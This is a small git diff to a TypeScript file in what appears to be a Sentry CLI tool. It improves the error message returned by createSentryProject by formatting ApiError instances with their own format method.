Claude Opus 4.6 --- src/lib/init/local-ops.ts | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/src/lib/init/local-ops.ts b/src/lib/init/local-ops.ts index 28d6321d..923bc413 100644 --- a/src/lib/init/local-ops.ts +++ b/src/lib/init/local-ops.ts @@ -14,6 +14,7 @@ import { listOrganizations, tryGetPrimaryDsn, } from "../api-client.js"; +import { ApiError } from "../errors.js"; import { resolveOrg } from "../resolve-target.js"; import { resolveOrCreateTeam } from "../resolve-team.js"; import { buildProjectUrl } from "../sentry-urls.js"; @@ -676,7 +677,14 @@ async function createSentryProject( }, }; } catch (error) { - const message = error instanceof Error ? error.message : String(error); + let message: string; + if (error instanceof ApiError) { + message = error.format(); + } else if (error instanceof Error) { + message = error.message; + } else { + message = String(error); + } return { ok: false, error: message }; } }